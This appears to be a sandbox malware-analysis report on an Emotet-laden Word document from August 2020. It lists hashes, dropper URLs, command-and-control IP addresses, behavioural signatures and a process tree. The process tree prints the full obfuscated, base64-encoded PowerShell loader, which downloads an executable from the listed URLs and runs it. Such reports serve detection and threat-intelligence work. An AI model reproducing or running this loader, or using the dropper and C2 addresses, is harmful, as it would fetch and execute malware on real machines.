emotet | bd5cef3f24fb9ceccfd91ffbc32193c373bc363c068559f7e657ff8da699c401

General

Target
emotet_e3_bd5cef3f24fb9ceccfd91ffbc32193c373bc363c068559f7e657ff8da699c401_2020-08-18__192210._doc.doc
Size 176KB
Sample200818-45e9mafac2
SHA256 bd5cef3f24fb9ceccfd91ffbc32193c373bc363c068559f7e657ff8da699c401
MD5 70d012958f7cb9aee90d8d71b1c3e117
SHA1 cecd233483d4a7e0e4339c27ee560e977bb2ef9d
SHA512 b2ea0ac6b327b7fcf37602f80f7bb316f47b3271a3ffe2b0d43de11a8605c3092093bcb593ce75e738b7056255d3e4eb047b1d4fabe236555fce6f7dff1e1fd9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://bomacargo.id/bomacargo.id/wkdaILRRX/
exe.dropper
https://humido.pl/wp-includes/XvlAFTYy/
exe.dropper
https://gpmrglobal.com/08.07.2020/xVhK6le0e58169/
exe.dropper
http://maticshosting.info/wp/8FEjm2v11576/
exe.dropper
http://shobdomela.com/sjwt9/glzfny3k0366/

Extracted

Family

emotet

C2

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3748	816	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3516-13-0x00000000009E0000-0x00000000009EC000-memory.dmp	emotet
behavioral2/memory/3516-13-0x00000000009E0000-0x00000000009EC000-memory.dmp	emotet
behavioral2/memory/2964-16-0x00000000004C0000-0x00000000004CC000-memory.dmp	emotet
behavioral2/memory/2964-16-0x00000000004C0000-0x00000000004CC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
18	3748	powersheLL.exe
20	3748	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3516	Utnw7h.exe
2964	dnsapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\CertPKICmdlet\dnsapi.exe	Utnw7h.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3748	powersheLL.exe
3748	powersheLL.exe
3748	powersheLL.exe
2964	dnsapi.exe
2964	dnsapi.exe
2964	dnsapi.exe
2964	dnsapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3748	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3516	Utnw7h.exe
3516	Utnw7h.exe
2964	dnsapi.exe
2964	dnsapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3748 wrote to memory of 3516	3748	powersheLL.exe	75
PID 3748 wrote to memory of 3516	3748	powersheLL.exe	75
PID 3748 wrote to memory of 3516	3748	powersheLL.exe	75
PID 3516 wrote to memory of 2964	3516	Utnw7h.exe	78
PID 3516 wrote to memory of 2964	3516	Utnw7h.exe	78
PID 3516 wrote to memory of 2964	3516	Utnw7h.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_bd5cef3f24fb9ceccfd91ffbc32193c373bc363c068559f7e657ff8da699c401_2020-08-18__192210._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3684

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABEAGgAXwBfAG8AegBtAD0AKAAnAFkAJwArACcANgBqAG0AJwArACcAagBqAGQAJwApADsAJgAoACcAbgBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgBUAEUATQBwAFwAbwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAEkAVABZAGAAcAByAGAAbwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACcAMQAnACsAJwAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAbABzACcAKQA7ACQAVwBkAHEANgBvADUANQAgAD0AIAAoACcAVQAnACsAJwB0AG4AdwA3ACcAKwAnAGgAJwApADsAJABIAG0AbQB3AGYAZgBqAD0AKAAnAEYAbgAnACsAJwAxACcAKwAnAF8AZwB6AHIAJwApADsAJABBAHMAaABrADkAeABoAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBEACcAKwAnAEUANABPAGYAZgBpACcAKwAnAGMAJwArACcAZQAnACsAJwAyADAAMQA5AEQARQA0ACcAKQAuACIAcgBFAGAAcABMAEEAYwBFACIAKAAnAEQARQA0ACcALAAnAFwAJwApACkAKwAkAFcAZABxADYAbwA1ADUAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEkAZgBoAG0AYwBvADcAPQAoACcAUAAnACsAJwBhAGoAYgAnACsAJwA3AHIAaQAnACkAOwAkAFcAawBhAG4AZABkAHMAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAFkAdQBuAHIAagB3AGUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGIAbwBtACcAKwAnAGEAYwBhACcAKwAnAHIAJwArACcAZwBvAC4AaQBkACcAKwAnAC8AYgBvAG0AYQBjAGEAcgBnAG8ALgBpAGQALwB3AGsAJwArACcAZABhAEkATABSAFIAWAAvACoAaAB0AHQAcABzADoAJwArACcALwAvAGgAdQBtAGkAZABvAC4AcABsAC8AdwBwAC0AaQBuACcAKwAnAGMAbAB1AGQAZQBzAC8AWAB2AGwAQQBGAFQAWQB5AC8AJwArACcAKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwArACcAZwBwACcAKwAnAG0AcgBnAGwAbwBiAGEAbAAuAGMAbwBtAC8AMAAnACsAJwA4AC4AMAA3AC4AMgAwADIAMAAnACsAJwAvAHgAVgBoAEsANgBsAGUAMABlADUAOAAxACcAKwAnADYAJwArACcAOQAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAJwArACcAdABpAGMAcwBoAG8AJwArACcAcwB0AGkAbgAnACsAJwBnAC4AaQAnACsAJwBuAGYAbwAvACcAKwAnAHcAcAAvADgARgBFACcAKwAnAGoAbQAyACcAKwAnAHYAMQAxACcAKwAnADUANwA2AC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAHMAaABvAGIAJwArACcAZABvACcAKwAnAG0AZQBsAGEALgBjAG8AbQAvAHMAJwArACcAagB3AHQAOQAvAGcAbAB6AGYAbgAnACsAJwB5ADMAawAwADMANgA2AC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAdQAxAHgAYwBjAGcAPQAoACcAUgAnACsAJwByAGIAXwB0AGsAJwArACcAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGgAMQBlAG8AegByACAAaQBuACAAJABZAHUAbgByAGoAdwBlACkAewB0AHIAeQB7ACQAVwBrAGEAbgBkAGQAcwAuACIARABgAE8AdwBOAGAAbABPAEEARABgAEYASQBMAGUAIgAoACQAQgBoADEAZQBvAHoAcgAsACAAJABBAHMAaABrADkAeABoACkAOwAkAEkAcABhAHEAeQA3AHYAPQAoACcATQB1AGIAZgA4ACcAKwAnAGkAcgAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQQBzAGgAawA5AHgAaAApAC4AIgBsAGAAZQBOAEcAVABIACIAIAAtAGcAZQAgADMANAA0ADQANAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAHMAaABrADkAeABoACkAOwAkAFAAYwB4AF8ANQBiAGoAPQAoACcASwB5ACcAKwAnAHcAbgA4AGoAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAMQBxAHEANABxAGIAPQAoACcAVgBnACcAKwAnAHMAYQAnACsAJwBhADkAcQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkANgA5AGkAagB0AHMAPQAoACcAVABxACcAKwAnAGsAaABfACcAKwAnAHQAdgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3748
- C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\SysWOW64\CertPKICmdlet\dnsapi.exe
    "C:\Windows\SysWOW64\CertPKICmdlet\dnsapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2964-16-0x00000000004C0000-0x00000000004CC000-memory.dmp

Download

memory/3516-13-0x00000000009E0000-0x00000000009EC000-memory.dmp

Download

memory/3684-0-0x00007FFD230E0000-0x00007FFD237A6000-memory.dmp

Download

memory/3748-7-0x00007FFD1B5F0000-0x00007FFD1BFDC000-memory.dmp

Download

memory/3748-8-0x000001F32C050000-0x000001F32C051000-memory.dmp

Download

memory/3748-9-0x000001F32C320000-0x000001F32C321000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads